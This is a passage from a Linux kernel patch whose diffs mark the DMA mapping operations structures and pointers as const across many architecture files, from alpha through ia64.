 arch/powerpc/kernel/pci-common.c                   |  6 ++--
 arch/powerpc/platforms/cell/iommu.c                |  4 +--
 arch/powerpc/platforms/powernv/npu-dma.c           |  2 +-
 arch/powerpc/platforms/ps3/system-bus.c            |  4 +--
 arch/powerpc/platforms/pseries/ibmebus.c           |  2 +-
 arch/powerpc/platforms/pseries/vio.c               |  2 +-
 arch/s390/include/asm/device.h                     |  2 +-
 arch/s390/include/asm/dma-mapping.h                |  4 +--
 arch/s390/pci/pci_dma.c                            |  2 +-
 arch/sh/include/asm/dma-mapping.h                  |  4 +--
 arch/sh/kernel/dma-nommu.c                         |  2 +-
 arch/sh/mm/consistent.c                            |  2 +-
 arch/sparc/include/asm/dma-mapping.h               |  8 ++---
 arch/sparc/kernel/iommu.c                          |  4 +--
 arch/sparc/kernel/ioport.c                         |  8 ++---
 arch/sparc/kernel/pci_sun4v.c                      |  2 +-
 arch/tile/include/asm/device.h                     |  2 +-
 arch/tile/include/asm/dma-mapping.h                | 12 +++----
 arch/tile/kernel/pci-dma.c                         | 24 ++++++-------
 arch/unicore32/include/asm/dma-mapping.h           |  4 +--
 arch/unicore32/mm/dma-swiotlb.c                    |  2 +-
 arch/x86/include/asm/device.h                      |  4 +--
 arch/x86/include/asm/dma-mapping.h                 |  4 +--
 arch/x86/include/asm/iommu.h                       |  2 +-
 arch/x86/kernel/amd_gart_64.c                      |  2 +-
 arch/x86/kernel/pci-calgary_64.c                   |  2 +-
 arch/x86/kernel/pci-dma.c                          |  4 +--
 arch/x86/kernel/pci-nommu.c                        |  2 +-
 arch/x86/kernel/pci-swiotlb.c                      |  2 +-
 arch/x86/pci/sta2x11-fixup.c                       |  2 +-
 arch/x86/xen/pci-swiotlb-xen.c                     |  2 +-
 arch/xtensa/include/asm/device.h                   |  2 +-
 arch/xtensa/include/asm/dma-mapping.h              |  4 +--
 arch/xtensa/kernel/pci-dma.c                       |  2 +-
 drivers/iommu/amd_iommu.c                          |  4 +--
 drivers/misc/mic/bus/mic_bus.c                     |  2 +-
 drivers/misc/mic/bus/scif_bus.c                    |  2 +-
 drivers/misc/mic/bus/scif_bus.h                    |  2 +-
 drivers/misc/mic/bus/vop_bus.c                     |  2 +-
 drivers/misc/mic/host/mic_boot.c                   |  4 +--
 drivers/parisc/ccio-dma.c                          |  2 +-
 drivers/parisc/sba_iommu.c                         |  2 +-
 drivers/pci/host/vmd.c                             |  2 +-
 include/linux/dma-mapping.h                        | 42 +++++++++++-----------
 include/linux/mic_bus.h                            |  2 +-
 include/xen/arm/hypervisor.h                       |  2 +-
 lib/dma-noop.c                                     |  2 +-
 113 files changed, 227 insertions(+), 227 deletions(-)

diff --git a/arch/alpha/include/asm/dma-mapping.h b/arch/alpha/include/asm/dma-mapping.h
index c63b6ac19ee5..d3480562411d 100644
--- a/arch/alpha/include/asm/dma-mapping.h
+++ b/arch/alpha/include/asm/dma-mapping.h
@@ -1,9 +1,9 @@
 #ifndef _ALPHA_DMA_MAPPING_H
 #define _ALPHA_DMA_MAPPING_H
 
-extern struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return dma_ops;
 }
diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index bb152e21e5ae..ffbdb3fb672f 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -128,7 +128,7 @@ static int alpha_noop_supported(struct device *dev, u64 mask)
 	return mask < 0x00ffffffUL ? 0 : 1;
 }
 
-struct dma_map_ops alpha_noop_ops = {
+const struct dma_map_ops alpha_noop_ops = {
 	.alloc			= alpha_noop_alloc_coherent,
 	.free			= dma_noop_free_coherent,
 	.map_page		= dma_noop_map_page,
@@ -137,5 +137,5 @@ struct dma_map_ops alpha_noop_ops = {
 	.dma_supported		= alpha_noop_supported,
 };
 
-struct dma_map_ops *dma_ops = &alpha_noop_ops;
+const struct dma_map_ops *dma_ops = &alpha_noop_ops;
 EXPORT_SYMBOL(dma_ops);
diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index 451fc9cdd323..7fd2329038a3 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -939,7 +939,7 @@ static int alpha_pci_mapping_error(struct device *dev, dma_addr_t dma_addr)
 	return dma_addr == 0;
 }
 
-struct dma_map_ops alpha_pci_ops = {
+const struct dma_map_ops alpha_pci_ops = {
 	.alloc			= alpha_pci_alloc_coherent,
 	.free			= alpha_pci_free_coherent,
 	.map_page		= alpha_pci_map_page,
@@ -950,5 +950,5 @@ struct dma_map_ops alpha_pci_ops = {
 	.dma_supported		= alpha_pci_supported,
 };
 
-struct dma_map_ops *dma_ops = &alpha_pci_ops;
+const struct dma_map_ops *dma_ops = &alpha_pci_ops;
 EXPORT_SYMBOL(dma_ops);
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 266f11c9bd59..fdff3aa60052 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -18,9 +18,9 @@
 #include <plat/dma.h>
 #endif
 
-extern struct dma_map_ops arc_dma_ops;
+extern const struct dma_map_ops arc_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &arc_dma_ops;
 }
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 08450a1a5b5f..2a07e6ecafbd 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -218,7 +218,7 @@ static int arc_dma_supported(struct device *dev, u64 dma_mask)
 	return dma_mask == DMA_BIT_MASK(32);
 }
 
-struct dma_map_ops arc_dma_ops = {
+const struct dma_map_ops arc_dma_ops = {
 	.alloc			= arc_dma_alloc,
 	.free			= arc_dma_free,
 	.mmap			= arc_dma_mmap,
diff --git a/arch/arm/common/dmabounce.c b/arch/arm/common/dmabounce.c
index 75055df1cda3..9b1b7be2ec0e 100644
--- a/arch/arm/common/dmabounce.c
+++ b/arch/arm/common/dmabounce.c
@@ -452,7 +452,7 @@ static int dmabounce_set_mask(struct device *dev, u64 dma_mask)
 	return arm_dma_ops.set_dma_mask(dev, dma_mask);
 }
 
-static struct dma_map_ops dmabounce_ops = {
+static const struct dma_map_ops dmabounce_ops = {
 	.alloc			= arm_dma_alloc,
 	.free			= arm_dma_free,
 	.mmap			= arm_dma_mmap,
diff --git a/arch/arm/include/asm/device.h b/arch/arm/include/asm/device.h
index 4111592f0130..d8a572f9c187 100644
--- a/arch/arm/include/asm/device.h
+++ b/arch/arm/include/asm/device.h
@@ -7,7 +7,7 @@
 #define ASMARM_DEVICE_H
 
 struct dev_archdata {
-	struct dma_map_ops	*dma_ops;
+	const struct dma_map_ops	*dma_ops;
 #ifdef CONFIG_DMABOUNCE
 	struct dmabounce_device_info *dmabounce;
 #endif
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index bf02dbd9ccda..1aabd781306f 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -13,17 +13,17 @@
 #include <asm/xen/hypervisor.h>
 
 #define DMA_ERROR_CODE	(~(dma_addr_t)0x0)
-extern struct dma_map_ops arm_dma_ops;
-extern struct dma_map_ops arm_coherent_dma_ops;
+extern const struct dma_map_ops arm_dma_ops;
+extern const struct dma_map_ops arm_coherent_dma_ops;
 
-static inline struct dma_map_ops *__generic_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *__generic_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
 	return &arm_dma_ops;
 }
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (xen_initial_domain())
 		return xen_dma_ops;
@@ -31,7 +31,7 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 		return __generic_dma_ops(dev);
 }
 
-static inline void set_dma_ops(struct device *dev, struct dma_map_ops *ops)
+static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
 {
 	BUG_ON(!dev);
 	dev->archdata.dma_ops = ops;
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index ab7710002ba6..d26fe1a35687 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -180,7 +180,7 @@ static void arm_dma_sync_single_for_device(struct device *dev,
 	__dma_page_cpu_to_dev(page, offset, size, dir);
 }
 
-struct dma_map_ops arm_dma_ops = {
+const struct dma_map_ops arm_dma_ops = {
 	.alloc			= arm_dma_alloc,
 	.free			= arm_dma_free,
 	.mmap			= arm_dma_mmap,
@@ -204,7 +204,7 @@ static int arm_coherent_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 		 void *cpu_addr, dma_addr_t dma_addr, size_t size,
 		 unsigned long attrs);
 
-struct dma_map_ops arm_coherent_dma_ops = {
+const struct dma_map_ops arm_coherent_dma_ops = {
 	.alloc			= arm_coherent_dma_alloc,
 	.free			= arm_coherent_dma_free,
 	.mmap			= arm_coherent_dma_mmap,
@@ -1067,7 +1067,7 @@ static void __dma_page_dev_to_cpu(struct page *page, unsigned long off,
 int arm_dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
 		enum dma_data_direction dir, unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	struct scatterlist *s;
 	int i, j;
 
@@ -1101,7 +1101,7 @@ int arm_dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
 void arm_dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nents,
 		enum dma_data_direction dir, unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	struct scatterlist *s;
 
 	int i;
@@ -1120,7 +1120,7 @@ void arm_dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nents,
 void arm_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
 			int nents, enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	struct scatterlist *s;
 	int i;
 
@@ -1139,7 +1139,7 @@ void arm_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
 void arm_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 			int nents, enum dma_data_direction dir)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	struct scatterlist *s;
 	int i;
 
@@ -2099,7 +2099,7 @@ static void arm_iommu_sync_single_for_device(struct device *dev,
 	__dma_page_cpu_to_dev(page, offset, size, dir);
 }
 
-struct dma_map_ops iommu_ops = {
+const struct dma_map_ops iommu_ops = {
 	.alloc		= arm_iommu_alloc_attrs,
 	.free		= arm_iommu_free_attrs,
 	.mmap		= arm_iommu_mmap_attrs,
@@ -2119,7 +2119,7 @@ struct dma_map_ops iommu_ops = {
 	.unmap_resource		= arm_iommu_unmap_resource,
 };
 
-struct dma_map_ops iommu_coherent_ops = {
+const struct dma_map_ops iommu_coherent_ops = {
 	.alloc		= arm_coherent_iommu_alloc_attrs,
 	.free		= arm_coherent_iommu_free_attrs,
 	.mmap		= arm_coherent_iommu_mmap_attrs,
@@ -2319,7 +2319,7 @@ void arm_iommu_detach_device(struct device *dev)
 }
 EXPORT_SYMBOL_GPL(arm_iommu_detach_device);
 
-static struct dma_map_ops *arm_get_iommu_dma_map_ops(bool coherent)
+static const struct dma_map_ops *arm_get_iommu_dma_map_ops(bool coherent)
 {
 	return coherent ? &iommu_coherent_ops : &iommu_ops;
 }
@@ -2374,7 +2374,7 @@ static void arm_teardown_iommu_dma_ops(struct device *dev) { }
 
 #endif	/* CONFIG_ARM_DMA_USE_IOMMU */
 
-static struct dma_map_ops *arm_get_dma_map_ops(bool coherent)
+static const struct dma_map_ops *arm_get_dma_map_ops(bool coherent)
 {
 	return coherent ? &arm_coherent_dma_ops : &arm_dma_ops;
 }
@@ -2382,7 +2382,7 @@ static struct dma_map_ops *arm_get_dma_map_ops(bool coherent)
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 			const struct iommu_ops *iommu, bool coherent)
 {
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 
 	dev->archdata.dma_coherent = coherent;
 	if (arm_setup_iommu_dma_ops(dev, dma_base, size, iommu))
diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c
index bd62d94f8ac5..ce18c91b50a1 100644
--- a/arch/arm/xen/mm.c
+++ b/arch/arm/xen/mm.c
@@ -182,10 +182,10 @@ void xen_destroy_contiguous_region(phys_addr_t pstart, unsigned int order)
 }
 EXPORT_SYMBOL_GPL(xen_destroy_contiguous_region);
 
-struct dma_map_ops *xen_dma_ops;
+const struct dma_map_ops *xen_dma_ops;
 EXPORT_SYMBOL(xen_dma_ops);
 
-static struct dma_map_ops xen_swiotlb_dma_ops = {
+static const struct dma_map_ops xen_swiotlb_dma_ops = {
 	.alloc = xen_swiotlb_alloc_coherent,
 	.free = xen_swiotlb_free_coherent,
 	.sync_single_for_cpu = xen_swiotlb_sync_single_for_cpu,
diff --git a/arch/arm64/include/asm/device.h b/arch/arm64/include/asm/device.h
index 243ef256b8c9..00c678cc31e1 100644
--- a/arch/arm64/include/asm/device.h
+++ b/arch/arm64/include/asm/device.h
@@ -17,7 +17,7 @@
 #define __ASM_DEVICE_H
 
 struct dev_archdata {
-	struct dma_map_ops *dma_ops;
+	const struct dma_map_ops *dma_ops;
 #ifdef CONFIG_IOMMU_API
 	void *iommu;			/* private IOMMU data */
 #endif
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index ccea82c2b089..1fedb43be712 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -25,9 +25,9 @@
 #include <asm/xen/hypervisor.h>
 
 #define DMA_ERROR_CODE	(~(dma_addr_t)0)
-extern struct dma_map_ops dummy_dma_ops;
+extern const struct dma_map_ops dummy_dma_ops;
 
-static inline struct dma_map_ops *__generic_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *__generic_dma_ops(struct device *dev)
 {
 	if (dev && dev->archdata.dma_ops)
 		return dev->archdata.dma_ops;
@@ -39,7 +39,7 @@ static inline struct dma_map_ops *__generic_dma_ops(struct device *dev)
 	return &dummy_dma_ops;
 }
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (xen_initial_domain())
 		return xen_dma_ops;
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index e04082700bb1..bcef6368d48f 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -352,7 +352,7 @@ static int __swiotlb_dma_supported(struct device *hwdev, u64 mask)
 	return 1;
 }
 
-static struct dma_map_ops swiotlb_dma_ops = {
+static const struct dma_map_ops swiotlb_dma_ops = {
 	.alloc = __dma_alloc,
 	.free = __dma_free,
 	.mmap = __swiotlb_mmap,
@@ -505,7 +505,7 @@ static int __dummy_dma_supported(struct device *hwdev, u64 mask)
 	return 0;
 }
 
-struct dma_map_ops dummy_dma_ops = {
+const struct dma_map_ops dummy_dma_ops = {
 	.alloc                  = __dummy_alloc,
 	.free                   = __dummy_free,
 	.mmap                   = __dummy_mmap,
@@ -784,7 +784,7 @@ static void __iommu_unmap_sg_attrs(struct device *dev,
 	iommu_dma_unmap_sg(dev, sgl, nelems, dir, attrs);
 }
 
-static struct dma_map_ops iommu_dma_ops = {
+static const struct dma_map_ops iommu_dma_ops = {
 	.alloc = __iommu_alloc_attrs,
 	.free = __iommu_free_attrs,
 	.mmap = __iommu_mmap_attrs,
diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
index 1115f2a645d1..b2b43c0e0774 100644
--- a/arch/avr32/include/asm/dma-mapping.h
+++ b/arch/avr32/include/asm/dma-mapping.h
@@ -4,9 +4,9 @@
 extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	int direction);
 
-extern struct dma_map_ops avr32_dma_ops;
+extern const struct dma_map_ops avr32_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &avr32_dma_ops;
 }
diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
index 54534e5d0781..555222d4f414 100644
--- a/arch/avr32/mm/dma-coherent.c
+++ b/arch/avr32/mm/dma-coherent.c
@@ -191,7 +191,7 @@ static void avr32_dma_sync_sg_for_device(struct device *dev,
 		dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
 }
 
-struct dma_map_ops avr32_dma_ops = {
+const struct dma_map_ops avr32_dma_ops = {
 	.alloc			= avr32_dma_alloc,
 	.free			= avr32_dma_free,
 	.map_page		= avr32_dma_map_page,
diff --git a/arch/blackfin/include/asm/dma-mapping.h b/arch/blackfin/include/asm/dma-mapping.h
index 3490570aaa82..320fb50fbd41 100644
--- a/arch/blackfin/include/asm/dma-mapping.h
+++ b/arch/blackfin/include/asm/dma-mapping.h
@@ -36,9 +36,9 @@ _dma_sync(dma_addr_t addr, size_t size, enum dma_data_direction dir)
 		__dma_sync(addr, size, dir);
 }
 
-extern struct dma_map_ops bfin_dma_ops;
+extern const struct dma_map_ops bfin_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &bfin_dma_ops;
 }
diff --git a/arch/blackfin/kernel/dma-mapping.c b/arch/blackfin/kernel/dma-mapping.c
index a27a74a18fb0..477bb29a7987 100644
--- a/arch/blackfin/kernel/dma-mapping.c
+++ b/arch/blackfin/kernel/dma-mapping.c
@@ -159,7 +159,7 @@ static inline void bfin_dma_sync_single_for_device(struct device *dev,
 	_dma_sync(handle, size, dir);
 }
 
-struct dma_map_ops bfin_dma_ops = {
+const struct dma_map_ops bfin_dma_ops = {
 	.alloc			= bfin_dma_alloc,
 	.free			= bfin_dma_free,
 
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
index 5717b1e52d96..88258b9ebc8e 100644
--- a/arch/c6x/include/asm/dma-mapping.h
+++ b/arch/c6x/include/asm/dma-mapping.h
@@ -17,9 +17,9 @@
  */
 #define DMA_ERROR_CODE ~0
 
-extern struct dma_map_ops c6x_dma_ops;
+extern const struct dma_map_ops c6x_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &c6x_dma_ops;
 }
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index 6752df32ef06..9fff8be75f58 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -123,7 +123,7 @@ static void c6x_dma_sync_sg_for_device(struct device *dev,
 
 }
 
-struct dma_map_ops c6x_dma_ops = {
+const struct dma_map_ops c6x_dma_ops = {
 	.alloc			= c6x_dma_alloc,
 	.free			= c6x_dma_free,
 	.map_page		= c6x_dma_map_page,
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index 1f0636793f0c..7072341995ff 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -69,7 +69,7 @@ static inline int v32_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-struct dma_map_ops v32_dma_ops = {
+const struct dma_map_ops v32_dma_ops = {
 	.alloc			= v32_dma_alloc,
 	.free			= v32_dma_free,
 	.map_page		= v32_dma_map_page,
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
index 5a370178a0e9..aae4fbc0a656 100644
--- a/arch/cris/include/asm/dma-mapping.h
+++ b/arch/cris/include/asm/dma-mapping.h
@@ -2,14 +2,14 @@
 #define _ASM_CRIS_DMA_MAPPING_H
 
 #ifdef CONFIG_PCI
-extern struct dma_map_ops v32_dma_ops;
+extern const struct dma_map_ops v32_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &v32_dma_ops;
 }
 #else
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	BUG();
 	return NULL;
diff --git a/arch/frv/include/asm/dma-mapping.h b/arch/frv/include/asm/dma-mapping.h
index 9a82bfa4303b..150cc00544a8 100644
--- a/arch/frv/include/asm/dma-mapping.h
+++ b/arch/frv/include/asm/dma-mapping.h
@@ -7,9 +7,9 @@
 extern unsigned long __nongprelbss dma_coherent_mem_start;
 extern unsigned long __nongprelbss dma_coherent_mem_end;
 
-extern struct dma_map_ops frv_dma_ops;
+extern const struct dma_map_ops frv_dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &frv_dma_ops;
 }
diff --git a/arch/frv/mb93090-mb00/pci-dma-nommu.c b/arch/frv/mb93090-mb00/pci-dma-nommu.c
index 187688128c65..4a96de7f0af4 100644
--- a/arch/frv/mb93090-mb00/pci-dma-nommu.c
+++ b/arch/frv/mb93090-mb00/pci-dma-nommu.c
@@ -164,7 +164,7 @@ static int frv_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-struct dma_map_ops frv_dma_ops = {
+const struct dma_map_ops frv_dma_ops = {
 	.alloc			= frv_dma_alloc,
 	.free			= frv_dma_free,
 	.map_page		= frv_dma_map_page,
diff --git a/arch/frv/mb93090-mb00/pci-dma.c b/arch/frv/mb93090-mb00/pci-dma.c
index dba7df918144..e7130abc0dae 100644
--- a/arch/frv/mb93090-mb00/pci-dma.c
+++ b/arch/frv/mb93090-mb00/pci-dma.c
@@ -106,7 +106,7 @@ static int frv_dma_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-struct dma_map_ops frv_dma_ops = {
+const struct dma_map_ops frv_dma_ops = {
 	.alloc			= frv_dma_alloc,
 	.free			= frv_dma_free,
 	.map_page		= frv_dma_map_page,
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
index 7ac7fadffed0..f804bca4c13f 100644
--- a/arch/h8300/include/asm/dma-mapping.h
+++ b/arch/h8300/include/asm/dma-mapping.h
@@ -1,9 +1,9 @@
 #ifndef _H8300_DMA_MAPPING_H
 #define _H8300_DMA_MAPPING_H
 
-extern struct dma_map_ops h8300_dma_map_ops;
+extern const struct dma_map_ops h8300_dma_map_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	return &h8300_dma_map_ops;
 }
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
index 3651da045806..225dd0a188dc 100644
--- a/arch/h8300/kernel/dma.c
+++ b/arch/h8300/kernel/dma.c
@@ -60,7 +60,7 @@ static int map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-struct dma_map_ops h8300_dma_map_ops = {
+const struct dma_map_ops h8300_dma_map_ops = {
 	.alloc = dma_alloc,
 	.free = dma_free,
 	.map_page = map_page,
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index 7ef58df909fc..b812e917cd95 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -32,9 +32,9 @@ struct device;
 extern int bad_dma_address;
 #define DMA_ERROR_CODE bad_dma_address
 
-extern struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *dma_ops;
 
-static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
 {
 	if (unlikely(dev == NULL))
 		return NULL;
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index dbc4f1003da4..e74b65009587 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -25,7 +25,7 @@
 #include <linux/module.h>
 #include <asm/page.h>
 
-struct dma_map_ops *dma_ops;
+const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 int bad_dma_address;  /*  globals are automatically initialized to zero  */
@@ -203,7 +203,7 @@ static void hexagon_sync_single_for_device(struct device *dev,
 	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
 }
 
-struct dma_map_ops hexagon_dma_ops = {
+const struct dma_map_ops hexagon_dma_ops = {
 	.alloc		= hexagon_dma_alloc_coherent,
 	.free		= hexagon_free_coherent,
 	.map_sg		= hexagon_map_sg,
diff --git a/arch/ia64/hp/common/hwsw_iommu.c b/arch/ia64/hp/common/hwsw_iommu.c
index 1e4cae5ae053..0310078a95f8 100644
--- a/arch/ia64/hp/common/hwsw_iommu.c
+++ b/arch/ia64/hp/common/hwsw_iommu.c
@@ -18,7 +18,7 @@
 #include <linux/export.h>
 #include <asm/machvec.h>
 
-extern struct dma_map_ops sba_dma_ops, swiotlb_dma_ops;
+extern const struct dma_map_ops sba_dma_ops, swiotlb_dma_ops;
 
 /* swiotlb declarations & definitions: */
 extern int swiotlb_late_init_with_default_size (size_t size);
@@ -34,7 +34,7 @@ static inline int use_swiotlb(struct device *dev)
 		!sba_dma_ops.dma_supported(dev, *dev->dma_mask);
 }
 
-struct dma_map_ops *hwsw_dma_get_ops(struct device *dev)
+const struct dma_map_ops *hwsw_dma_get_ops(struct device *dev)
 {
 	if (use_swiotlb(dev))
 		return &swiotlb_dma_ops;
diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index 630ee8073899..aec4a3354abe 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -2096,7 +2096,7 @@ static int __init acpi_sba_ioc_init_acpi(void)
 /* This has to run before acpi_scan_init(). */
 arch_initcall(acpi_sba_ioc_init_acpi);
 
-extern struct dma_map_ops swiotlb_dma_ops;
+extern const struct dma_map_ops swiotlb_dma_ops;
 
 static int __init
 sba_init(void)
@@ -2216,7 +2216,7 @@ sba_page_override(char *str)
 
 __setup("sbapagesize=",sba_page_override);
 
-struct dma_map_ops sba_dma_ops = {
+const struct dma_map_ops sba_dma_ops = {
 	.alloc			= sba_alloc_coherent,
 	.free			= sba_free_coherent,
 	.map_page		= sba_map_page,
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index d472805edfa9..05e467d56d86 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -14,7 +14,7 @@
 
 #define DMA_ERROR_CODE 0
 
-extern struct dma_map_ops *dma_ops;
+extern const struct dma_map_ops *dma_ops;
 extern struct ia64_machine_vector ia64_mv;
 extern void set_iommu_machvec(void);
 
diff --git a/arch/ia64/include/asm/machvec.h b/arch/ia64/include/asm/machvec.h
index ed7f09089f12..af285c423e1e 100644
--- a/arch/ia64/include/asm/machvec.h
+++ b/arch/ia64/include/asm/machvec.h
@@ -44,7 +44,7 @@ typedef void ia64_mv_kernel_launch_event_t(void);
 /* DMA-mapping interface: */
 typedef void ia64_mv_dma_init (void);
 typedef u64 ia64_mv_dma_get_required_mask (struct device *);
-typedef struct dma_map_ops *ia64_mv_dma_get_ops(struct device *);
+typedef const struct dma_map_ops *ia64_mv_dma_get_ops(struct device *);
 
 /*
  * WARNING: The legacy I/O space is _architected_.  Platforms are
@@ -248,7 +248,7 @@ extern void machvec_init_from_cmdline(const char *cmdline);
 # endif /* CONFIG_IA64_GENERIC */
 
 extern void swiotlb_dma_init(void);
-extern struct dma_map_ops *dma_get_ops(struct device *);
+extern const struct dma_map_ops *dma_get_ops(struct device *);
 
 /*
  * Define default versions so we can extend machvec for new platforms without having
diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
index 7f7916238208..e0dd97f4eb69 100644
--- a/arch/ia64/kernel/dma-mapping.c
+++ b/arch/ia64/kernel/dma-mapping.c
@@ -4,7 +4,7 @@
 /* Set this to 1 if there is a HW IOMMU in the system */
 int iommu_detected __read_mostly;
 
-struct dma_map_ops *dma_ops;
+const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
@@ -17,7 +17,7 @@ static int __init dma_init(void)
 }
 fs_initcall(dma_init);
 
-struct dma_map_ops *dma_get_ops(struct device *dev)
+const struct dma_map_ops *dma_get_ops(struct device *dev)
 {
 	return dma_ops;
 }
diff --git a/arch/ia64/kernel/pci-dma.c b/arch/ia64/kernel/pci-dma.c
index 992c1098c522..9094a73f996f 100644
--- a/arch/ia64/kernel/pci-dma.c
+++ b/arch/ia64/kernel/pci-dma.c
